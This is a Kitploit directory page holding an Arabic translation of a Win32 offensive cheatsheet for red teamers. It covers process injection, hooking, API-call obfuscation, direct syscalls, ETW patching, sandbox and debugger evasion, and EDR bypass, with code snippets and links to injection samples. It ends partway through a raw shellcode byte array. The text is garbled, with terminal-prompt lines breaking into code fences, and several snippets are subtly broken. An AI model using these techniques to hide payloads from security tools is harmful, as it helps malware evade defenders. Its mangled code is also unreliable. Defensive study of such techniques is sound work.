Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Win32_Offensive_Cheatsheet — Win32 and Kernel abusing techniques for pentesters | Kitploit
أدوات/GitHubGitHub/matthieu-hackwitharts/win32_offensive_cheatsheet
Persistence MechanismsExploitationIDS/IPS EvasionReverse EngineeringPost-ExploitationPenetration TestingBinary AnalysisLearning & EducationRed Teaming

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
Curated Resources
Payload Development
GitHubmatthieu-hackwitharts/win32_offensive_cheatsheet

Win32_Offensive_Cheatsheet

Win32 and Kernel abusing techniques for pentesters

عرض المستودع
981136منذ 2 سنواتتمت المراجعة من قبل Kitploit

ورقة Win32 الهجومية السريعة

تقنيات استغلال Win32 والنواة لصالح مختبري الاختراق وفريق الأحمر، من إعداد @UVision و@RistBS

وضع المطوّر مفعّل، نرحب بأي مساعدة :)

  • توثيق ملفات Windows الثنائية
    • بنية PE
    • رؤوس PE
    • تحليل PE
    • جدول عناوين التصدير (EAT)
    • حل عنوان دالة
    • جدول عناوين الاستيراد (IAT)
      • تحليل IAT
    • جدول بحث الاستيراد (ILT)
    • تفعيل صلاحية SeDebug
  • تنفيذ ملف ثنائي
    • تنفيذ الشيل كود التقليدي
    • تنفيذ DLL
    • ملف RAW إلى PE
  • تقنيات حقن الكود
    • حقن CreateRemoteThread
    • Process Hollowing
    • تقنية طابور APC
    • Early Bird
    • Reflective DLL Injection
    • حقن DLL
    • Process Doppelganging
    • Fibers
    • CreateThreadPoolWait
    • Thread Hijacking
    • حقن كود MapView
    • Module Stomping
    • Function Stomping
  • تقنيات الربط (Hooking)
    • Inline hooking
    • ربط IAT
  • تقنيات تجاوز الهندسة العكسية
    • إخفاء الاستدعاءات والسلاسل النصية
    • الحل اليدوي للدوال
    • تجزئة Win32 API
  • تجاوز EDR/نقطة النهاية
    • استدعاء النظام المباشر
    • اللغات عالية المستوى
    • ترقيع inline hooking
    • كشف الخطافات
    • ترقيع ETW
    • تجاوز بيئة الاختبار
    • تجاوز التصحيح (Debugging)
    • تقنية VirtualProtect
    • إزالة الخطاف من نسخة جديدة
    • Hell's Gate
    • Heaven's Gate
    • انتحال PPID
    • استدعاء تتبّع العملية
    • تشفير الكومة (Heap)
    • إخفاء وضع السكون
  • أساسيات برمجة الدرايفر
    • مفاهيم عامة
    • جدول إرسال خدمات النظام (SSDT)
    • نقطة دخول الدرايفر
    • الإدخال والإخراج)
    • التواصل مع الدرايفر
    • توقيع الدرايفر (Microsoft)
    • استدعاءات مخصصة (ObRegisterCallbacks)
  • البرمجة الهجومية للدرايفرات
    • ترقيع استدعاء النواة
    • ترقيع عملية محمية
  • استخدام Win32 API لزيادة OPSEC
    • الثبات (Persistence)
      • المهام المجدولة
    • انتحال سطر الأوامر
  • مواضيع متفرقة
    • اتفاقية الاستدعاء x64
    • التنفيذ غير المباشر
      • تجاوز CFG باستخدام SetProcessValidCallTargets

  • البرمجيات الخبيثة/التقنيات المتطورة
    • حالة Emotet: انتحال PPID باستخدام WMI
    • تقنية إخفاء ملفات برمجية Zeus الخبيثة
    • تقنية ربط keylogger الخاصة بـ SpyEye
    • أغرب إيقاف لبرمجية خبيثة (WannaCry)

توثيق ملفات Windows الثنائية

أدوات ومواقع/كتب/مراجع مفيدة

  • 🔹 https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/ (مرجع جيد جدًا)
  • 🔹 https://www.ired.team/ (مرجع رائع لفريق الأحمر مع ملاحظات ممتازة عن حقن الكود)
  • 🔹 https://undocumented.ntinternals.net/ (دوال NT غير الموثقة)
  • 🔹 https://docs.microsoft.com/en-us/windows/win32/api/ (التوثيق الرسمي من Microsoft)
  • 🔹 Windows Kernel Programming - Pavel Yosifovich
  • 🔹 https://research.checkpoint.com/ (وثائق مثيرة جدًا حول التهرب ومضادات التصحيح والمزيد)
  • 🔹 https://www.vx-underground.org/ (محتوى رائع حول تطوير البرمجيات الخبيثة والهندسة العكسية)

بنية PE

رؤوس PE

  • DOS_HEADER : الرأس الأول لملف PE، يحتوي على رسالة MS DOS ("This programm cannot be run in DOS mode....")، ورأس MZ (بايتات سحرية للتعرف على PE) وبعض محتوى الإجراء الافتتاحي (stub).
  • IMAGE_NT_HEADER : يحتوي على توقيع ملف PE، ورأس الملف (File Header) والرأس الاختياري (Optionnal Header)
  • SECTION_TABLE : يحتوي على رؤوس الأقسام
  • SECTIONS : ليست رأسًا ولكن من المفيد معرفتها: هذه هي أقسام ملف PE

التفاصيل : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266

تحليل PE

تحليل PE بسيط للحصول على العنوان المطلق لـ IAT و ILT:

  • الحصول على العنوان الأساسي : GetModuleHandleA(NULL);
  • PIMAGE_DOS_HEADER = العنوان الأساسي، رأس DOS
  • PIMAGE_NT_HEADER = BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew (RVA الخاص بـ NT_HEADER)
  • IMAGE_DATA_DIRECTORY = OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] من PIMAGE_NT_HEADER
  • IMAGE_IMPORT_DIRECTORY = IMAGE_DATA_DIRECTORY.VirtualAddress (RVA الخاص بـ IMAGE_IMPORT_DIRECTORY)
  • IMAGE_IMPORT_DESCRIPTOR = BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress (RVA الخاص بـ IMAGE_IMPORT_DESCRIPTOR)
  • العنوان المطلق لـ IAT : IMAGE_IMPORT_DESCRIPTOR.FirstThunk (RVA الخاص بـ IAT) + BaseAddress
  • العنوان المطلق لـ ILT : IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk (RVA الخاص بـ ILT) + BaseAddress

جدول عناوين التصدير (EAT)

يعمل EAT على حل جميع الدوال التي يصدرها PE ويحل أيضًا ملفات DLL. وهو معرَّف في بنية IMAGE_EXPORT_DIRECTORY:```c
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; // name of DLL DWORD Base; // first ordinal number DWORD NumberOfFunctions; // number of entries in EAT DWORD NumberOfNames; // number of entries in (1) (2) DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions DWORD AddressOfNames; // Pointer array contains address of function names DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions) } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

root@kitploit:~
يُرجى ملاحظة أن EAT مُعرَّف في DLL، وليس في PE "حقيقي" (حيث يستخدم الـ PE جدول EAT الخاص بـ DLL مُحمَّل لحل المؤشرات إلى الدوال التي يريد استخدامها).

### تحليل عنوان دالة

**باستخدام عنوان الدالة**

على ماذا تنتظر؟ ابحث عن هذه الدالة!

**باستخدام الرقم الترتيبي**

الرقم الترتيبي هو **موضع فهرسي** يشير إلى عنوان الدالة المقابل في مصفوفة `AddressOfFunctions`. يمكن استخدامه **لاسترجاع العنوان الصحيح للدالة**، كما يلي:

لنحاول العثور على العنوان المقابل (Addr4) باستخدام الرقم الترتيبي 3.

- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*

العنوان الذي نبحث عنه يقع في الموضع الثالث (بدءًا من 0)، والرقم الترتيبي لدينا يقابل **فهرس هذا العنوان**.

**باستخدام اسم الدالة**

العنصر Nth في مصفوفة AddressOfNames يقابل العنصر Nth في مصفوفة AddressOfNameOrdinals: باستخدام اسم معيّن، يمكنك استرجاع الرقم الترتيبي المقابل، ثم المتابعة للعثور على عنوان الدالة باستخدام هذا الرقم.

## جدول عناوين الاستيراد (IAT)

- مُحمِّل الـ PE لا يعرف أي عنوان يقابل أي دالة: لنستدعِ IAT لإنقاذنا
- مُعرَّف في بنية IMAGE_IMPORT_DIRECTORY:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    DWORD	Characteristics; 
    DWORD	OriginalFirstThunk;	// RVA to ILT
    DWORD	TimeDateStamp;	
    DWORD	ForwarderChain;
    DWORD	Name; 		        // RVA of imported DLL name
    DWORD	FirstThunk;             // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;

باختصار، IAT هو جدول يحتوي على مؤشرات لعدة دوال يتم استيرادها بواسطة PE من مكتبات DLL المحملة (ntdll، kernel32...).

تحليل IAT

  1. احصل على RVA الخاص بـ IAT
  2. حلّل بنية IMPORT_DESCRIPTOR: العضو Name هو RVA لاسم مكتبة DLL الحالية
  3. للحصول على اسم DLL الحقيقي: ابحث عنه في ILT (originalFirstThunk+BaseAddress)
  4. للحصول على الدوال المُصدَّرة من DLL الحالية: PIMAGE_IMPORT_BY_NAME function_name->Name = ImageBase+AdressOfData

مثال تفصيلي للكود هنا : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp

جدول البحث عن الاستيراد

كل DLL مستوردة بواسطة PE لها ILT خاص بها.``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)

root@kitploit:~
يحتوي على جميع أسماء الدوال الموجودة في مكتبة DLL المستوردة.

<br>


## تمكين امتياز SeDebug

إن امتياز **SeDebug** هو الامتياز "الأكثر طلبًا" في قائمة امتيازات Windows بأكملها. فهو يتيح لك "تصحيح" أي عملية مرخَّصة، ويمكن ترجمته إلى عدة إجراءات هجومية، مثل فتح مقبض بصلاحيات ```PROCESS_ALL_ACCESS```.

لتمكينه في وضع المستخدم، ستحتاج إلى استخدام دالة مثل:```cpp
void EnableDebugPriv()
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkp;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);

    CloseHandle(hToken); 
}

ستقوم هذه الدالة بفتح رمز العملية الحالية الخاص بك، ثم ضبطه على صلاحية SE_PRIVILEGE_ENABLED، والتي تتوافق مع الصلاحية المستهدفة.

تنفيذ بعض الملفات الثنائية

تنفيذ شيل كود كلاسيكي

مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp

تنفيذ DLL

كانت لهذه التقنية معدلات نجاح جيدة في تجاوز الحماية قبل بضع سنوات؛ ومع ذلك، ونظرًا للعدد المتزايد من حلول EDR وغيرها من حلول حماية نقاط النهاية، يجب تجنب الكتابة على القرص قدر الإمكان.

مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp

ملف خام إلى PE

يمكنك تنفيذ بعض الملفات الثنائية الخام في الذاكرة عن طريق تخصيص مساحة بحجمها في منطقة ذاكرة :```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();

CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);

root@kitploit:~
<br>

# تقنيات حقن الكود

## حقن CreateRemoteThread

ببساطة اكتب الشيلكود الخاص بك في مساحة ذاكرة مخصصة مسبقًا داخل العملية المستهدفة. (ليست آمنة من حيث OPSEC)

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp

## إفراغ العملية

تتم عملية إفراغ العملية عبر عدة خطوات : 

- إنشاء العملية المستهدفة (المفرّغة) في الوضع المعلّق : يلزم تعديلها
- إلغاء تعيين العملية المستهدفة من PEB الخاص بها (يجب تعريف هذه البنية أولاً)
- كتابة محتوى ملف exe الجديد في هذه العملية : الترويسات + المحتوى
- تحليل وتطبيق جدول إعادة التوطين
- اترك العملية تستمر في العمل في خيطها
- استمتع

> يمكن العثور على POC كاملة هنا : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations

## تقنية طابور APC

احقن الشيلكود في جميع الخيوط المتاحة في العملية، ثم استخدم دالة ```QueueUserAPC()``` لاستدعاء APC. قد لا تكون هذه التقنية موثوقة عندما لا يكون هناك العديد من الخيوط في العملية المخترقة.

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp

## الطائر المبكر

على غرار حقن طابور APC، هنا يجب تعيين استدعاء APC في عملية معلّقة. يتم بعد ذلك استئناف الخيط الرئيسي للعملية المنشأة؛ الميزة الرئيسية لهذه التقنية هي أن تجنب كتابة الشيلكود في عملية قيد التشغيل سيجعله أقل اكتشافًا بواسطة برامج مكافحة الفيروسات/EDRs.

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp


## حقن DLL الانعكاسي

كما هو الحال مع حقن الـ dll "الثابت" (باستخدام ملف dll)، يمكنك حقن DLL الخاص بك في معظم العمليات عن طريق عكسه في الذاكرة. تتميز هذه الطريقة بسهولة تجاوز بعض منتجات AV/EDrs على الرغم من أنها طريقة مكشوفة إلى حد ما اليوم.

يجب أولاً تخصيص ذاكرة والقيام ببعض أعمال إعادة التوطين لتعمل بشكل صحيح.

نُشر الـ Poc المعروف حول هذه التقنية بواسطة stephenfewer : https://github.com/stephenfewer/ReflectiveDLLInjection

## حقن DLL

يمكنك حقن بعض التعليمات البرمجية المخزنة في dll في عملية بعيدة. لسوء الحظ، من المرجح أن تكتشفه منتجات EDRs بسهولة، خاصة إذا لامس الـ dll الخبيث القرص.

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp

## انتحال العملية

ظلت تقنية انتحال العملية حتى قبل بضع سنوات طريقة غير مكتشفة لإطلاق حمولتك الخاصة بطريقة ملتوية. تم عرضها في BlackHat 2017 بواسطة Tal Liberman و Eugene Kogan، شاهد عملهما المذهل : https://www.youtube.com/watch?v=Cch8dvp836w

إنها خطوة "وسيطة" قبل تقنية إفراغ العملية : يتم استبدال صورة PE بالفعل قبل تنفيذها، لذا يقوم WindowsLoader بعملية الإفراغ عنا (أليس هذا رائعًا؟).

قامت Hasherezade بإنشاء بعض نماذج PoC الرائعة لهذه التقنية، متاحة هنا : https://github.com/hasherezade/process_doppelganging

## الألياف

يمكن تعريف الألياف على أنها ```cooperatively 
threads (https://nullprogram.com/blog/2019/03/28/)```. تسمح للبرنامج الرئيسي بتنفيذ الشيلكود عبر هذا النوع الجديد من الخيوط. 

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp


## حقن الكود MapView

تتيح لك هذه التقنية مشاركة عرض لقسم ذاكرة في عمليتك الخبيثة مع عملية بعيدة أخرى، والتي ستنفذ الشيلكود المخزن في هذا العرض. يمكن القيام بذلك باستخدام NtCreateSection/NtMapViewOfSection، مما يسمح لك بتجنب استخدام الدوال التي تتم مراقبتها بشكل كبير مثل WriteProcessMemory() أو VirtualAlloc() (ومع ذلك، قد تتم مراقبة NtMapViewOfSection أيضًا).

مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp



## دوس الوحدات

تتسبب هذه التقنية في أن يكون الـ beacon الخاص بك مدعومًا بوحدة على القرص```c
CHAR moduleName[]  = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);

DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection 	   += 0x1000 * 0x2;
RXSection  	   += 0xc;
char* ptr 	    = ( char* )RXSection;

للكشف عن إخفاء الوحدات (خاصةً لـ Cobalt Strike) تم إصدار ماسح ضوئي باسم DetectCobaltStomp لإبراز بعض مؤشرات الاختراق (IoCs) لهذه التقنية، لكن المؤلف لـ Brute Ratel تمكن من تحسين التقنية الأصلية.

إخفاء الدوال (Function Stomping)

ببساطة، قم باستبدال عنوان الدالة الأصلية (الذي تم الحصول عليه عبر GetProcAddress) بالعنوان الجديد. هذه التقنية موثقة جيدًا من قبل مؤلفها: https://idov31.github.io/2022-01-28-function-stomping/


تقنيات التعليق (Hooking)

التعليق المضمّن (Inline hooking)

التعليق المضمّن هو الطريقة الأساسية لتعليق دالة: فهو ببساطة يعيد توجيه استدعاء الواجهة البرمجية إلى الدالة الخاصة بك (قفزة)

نموذج كود: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

تعليق IAT

من خلال تعديل عنوان الدالة المقابل ليشير إلى الدالة الخاصة بك، يمكنك جعل البرنامج ينفّذ الكود الخاص بك.

يمكن القيام بذلك باتباع عدة خطوات:

  • العثور على العنوان النسبي لـ IAT
  • تحليل IAT للعثور على الدالة التي تريد تعليقها
  • استبدال عنوان هذه الدالة ("الترقيع") بعنوان الدالة الخاصة بك
  • استمتع

نموذج كود: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp


تقنيات تجاوز الهندسة العكسية

إخفاء الاستدعاءات والسلاسل النصية

هناك عدة تقنيات يمكنك استخدامها لإخفاء استدعاءاتك لواجهات Win32 البرمجية، إليك بعضًا منها:

  • استخدام مصفوفة char[] لتقسيم أسماء الدوال/المكتبات إلى عدة أحرف```cpp char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte
root@kitploit:~
> يمكنك حتى دمج هذه الحيلة مع بعض تحويلات رموز ASCII.

## حل الدوال يدويًا

يمكنك يدويًا حل مؤشر إلى أي دالة من دوال kernel32 أو ntdll وما إلى ذلك.

- أولًا، قم بتعريف قالب الدالة الخاصة بك، استنادًا إلى ترويسة الدالة الحقيقية: 
``````cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
  • ثم قم بحلّ مؤشر إلى الدالة :```cpp myOpenProcess op_proc = (myOpenProcess*)GetProcAddress(LoadLibraryA("ndll.dll"),"OpenProcess")); op_proc(PROCESS_ALL_ACCESS,NULL,12345);
root@kitploit:~
> لا تتردد في دمج هذه التقنية مع بعض تقنيات إخفاء السلاسل النصية لتجنب تمرير اسم الدالة الحقيقي كنص صريح.

## تجزئة Win32 API

يمكنك إخفاء استدعاءات دوال الـ API الخاصة بك عن طريق تجزئتها باستخدام خوارزمية تجزئة (djb2 هي الأكثر استخدامًا)، وانتبه إلى تصادمات التجزئة المحتملة مع بعض الدوال الخاصة. ثم ادمج هذه التقنية مع حلّ العناوين المباشرة في EAT، ودع المحللين العكسيين يبكون :)

<br>

# تجاوز EDR/نقطة النهاية

## الاستدعاء المباشر للنظام

معظم منتجات EDR تقوم بربط (hook) استدعاءات win32 api في وضع المستخدم (PatchGuard يقلل بشدة من توافر خطافات النواة). لتجنب هذه الخطافات، يمكنك استدعاء ما يعادل Nt() لدوال الـ API الخاصة بك مباشرة.

-```asm
.code
	SysNtCreateFile proc
			mov r10, rcx //syscall convention
			mov eax, 55h //syscall number : in this case it's NtCreateFile
			syscall //call nt function
			ret
	SysNtCreateFile endp
end

ابحث عن رقم استدعاء النظام الصحيح في هذا الجدول: https://j00ru.vexillium.org/syscalls/nt/64/

  • قم ببناء النموذج الأولي للدالة باستخدام `NTSTATUS````cpp EXTERN_C NTSTATUS SysNtCreateFile( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
root@kitploit:~
- حل عنوان NT```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");

مثال برمجي : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp

اللغات عالية المستوى

غالبًا ما تُعلَّم منتجات AV/EDR على C++/C أكثر من اللغات عالية المستوى المكافئة لها: استخدم Go أو Rust أو لغة أخرى لصياغة أفضل قوالبك،

تصحيح الربط المضمّن

ببساطة قم بربط (أو إعادة ربط) وظائفك المرتبطة عن طريق تطبيق استدعاء الوظيفة الصحيح: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

كشف الخطافات

لكشف الخطافات، ستحصل أولاً على العنوان الأساسي لـ NTDLL باستخدام LoadLibrary، ثم ستقوم بتحليل رؤوس PE لتحديد موقع EAT (IMAGE_EXPORT_DIRECTORY) وإزاحاته التي ستحتوي على جميع المعلومات المهمة (الوظائف المُصدَّرة + الاسم). فقط قم بحل أسماء الوظائف وعناوينها أثناء التكرار عبر الوظائف المُصدَّرة وطبّق عبارات if التالية لفرز الوظائف

  • فرز الوظائف للحصول على وظائف Nt أو Zw فقط```c if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0) { // ... }
root@kitploit:~
> **⚠️** : بعض الدوال قد تكون إيجابية خاطئة، أنصحك باكتشافها :```c
        if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
             strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
              strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
               strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
                strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
                 strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
                  strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
  • بالنسبة لآخر عبارة if، تحقق مما إذا كانت أول 4 بايتات من functionName مساوية لـ mov r10, rcx; mov eax, ## وهي بداية كعب استدعاء النظام (syscall stub)```c if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }
root@kitploit:~
> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c


## تصحيح ETW

تتبع الأحداث لنظام ويندوز (Event Tracing for Windows - ETW) هو واجهة برمجة تطبيقات (API) منخفضة المستوى للتسجيل، ويمكن استخدامه لتصحيح أخطاء/تسجيل عمليات النواة ووضع المستخدم. تم تنفيذه لأول مرة في ويندوز 2000، لكن المراقبة في الوقت الفعلي أصبحت متاحة فعليًا منذ ويندوز XP.

واجهة برمجة تطبيقات ETW متاحة من ملفات الرؤوس (headers) المقدمة من مايكروسوفت : https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/

في عملية اختبار اختراق (pentest)، يجب أن تهتم بهذه الوظيفة عن طريق تصحيحها (patching) : الطريقة الأكثر استخدامًا هي كتابة أكواد تشغيلية (opcodes) عشوائية ```ret``` داخل دالة كتابة أحداث ETW (```EtwEventWrite```) لتجنب كتابة السجلات في أي مكان.

مثال على الكود : //

## تجاوز بيئة العزل (Sandbox)

تُستخدم بيئات العزل (Sandbox) بشكل كبير من قبل برامج مكافحة الفيروسات (AV) وأنظمة كشف واستجابة النقاط الطرفية (EDR) لاختبار بعض استدعاءات واجهة برمجة التطبيقات (API) وأجزاء أخرى من الكود قبل تنفيذ برنامجك فعليًا. هناك عدة تقنيات لتجنب هذه الأداة، إليك بعضًا منها أدناه :

- انتظر. بجدية. مثل دالة `Sleep()` أو `time.sleep()` أو ما يعادلها ستقوم بالمهمة، لبضع ثوانٍ قبل تنفيذ الشيل كود (shellcode) الحقيقي.
- حاول تخصيص قدر كبير من الذاكرة (malloc)، مثل 100000000 بايت.
- حاول اكتشاف ما إذا كنت فعلاً في بيئة عزل (جهاز افتراضي VM) : افحص العمليات المفتوحة والملفات وغيرها من الأشياء المشبوهة.
- حاول حلّ (resolve) عنوان URL مزيف (لا يعمل) : العديد من منتجات مكافحة الفيروسات ستستجيب بصفحة مزيفة.
- استخدم استدعاءات API غريبة ونادرًا ما تُستخدم، مثل `VirtualAllocExNuma()`، فمعظم بيئات العزل لا يمكنها محاكاة هذا النوع من الاستدعاءات.```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);

تجاوز التصحيح

ليست تقنية تهرب حقيقية من برامج مكافحة الفيروسات، ولكنها لا تزال مفيدة لتجنب فك الهندسة العكسية بسهولة من قبل مهندسي الهندسة العكسية. هناك العديد من الطرق لاكتشاف مصححات الأخطاء أو إرباكها، وإليك بعضًا منها أدناه:

طريقة العلامات

يمكنك استخدام IsDebuggerPresent() (Win32) أو استدعاء مباشر لـ NtQueryInformationProcess() (غير موثق جيدًا) للتحقق من علامات التصحيح.

طريقة المقابض

حاول إغلاق مقابض غير صالحة (مفقودة) باستخدام واجهة برمجة التطبيقات CloseHandle(). سيحاول مصحح الأخطاء التقاط الاستثناء، وهو ما يمكن اكتشافه بسهولة:```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }

root@kitploit:~
**طريقة ASM**

حاول إجراء استدعاء INT 3 (ASM): فهو مكافئ لنقطة توقف برمجية، والتي ستؤدي إلى تشغيل مصحح الأخطاء. هناك العديد من الطرق الأخرى لاكتشاف أي مصحح أخطاء، والكثير منها مُجمّع في: https://anti-debug.checkpoint.com/

## تقنية VirtualProtect

من خلال استخدام بعض الحيل مع `VirtualProtect()` يمكنك بسهولة تجنب أن يتم تمييزك في الذاكرة: غيّر بين `PAGE_EXECUTE_READWRITE` و`PAGE_READWRITE` (أقل إثارة للشك) لتجنب تحفيز برنامج مكافحة الفيروسات المفضل لديك.

## Fresh Copy Unhook

تجنّب الخطافات (hooks) عن طريق استبدال ملف ntdll المُخطَّف بآخر جديد، مُعيَّن مباشرةً من القرص.

مثال برمجي : // to add

## Hells Gate

لتجنب استخدام استدعاءات النظام (syscalls) المرمّزة بشكل ثابت، تقوم Hell's Gate (Hells Gates ?) باسترجاعها ديناميكيًا عن طريق تحليل EAT (مقارنة بايتات الذاكرة مع أكواد استدعاء النظام). تم إنشاء الإثبات المفاهيمي (PoC) الأصلي من قبل فريق VX-Underground الرائع، ويمكن العثور عليه هنا: https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z

مثال آخر: https://github.com/am0nsec/HellsGate

## Heavens Gate

استخدم Wow64 لحقن حمولة (payload) 64 بت في مُحمّل 32 بت. قد يكون هذا مفيدًا لتجاوز بعض برامج مكافحة الفيروسات/EDRs لأن Wow64 ستمنع اكتشافك في وضع المستخدم (userland).

النسخة الأكثر شهرة من هذه التقنية تم إنشاؤها من قبل فريق MSF، شاهد عملهم الرائع هنا: https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm

## CreateThreadPoolWait

من خلال إساءة استخدام الدالة CreateThreadPoolWait()، التي يمكنها قبول مؤشر إلى دالة استدعاء (callback)، يمكنك تنفيذ شيلكود (shellcode) الخاص بك عبر هذه الدالة. تتوفر الكثير من التقنيات المشابهة (باستخدام مؤشر دالة استدعاء) على الرابط: http://ropgadget.com/posts/abusing_win_functions.html

مثال:```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait

#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
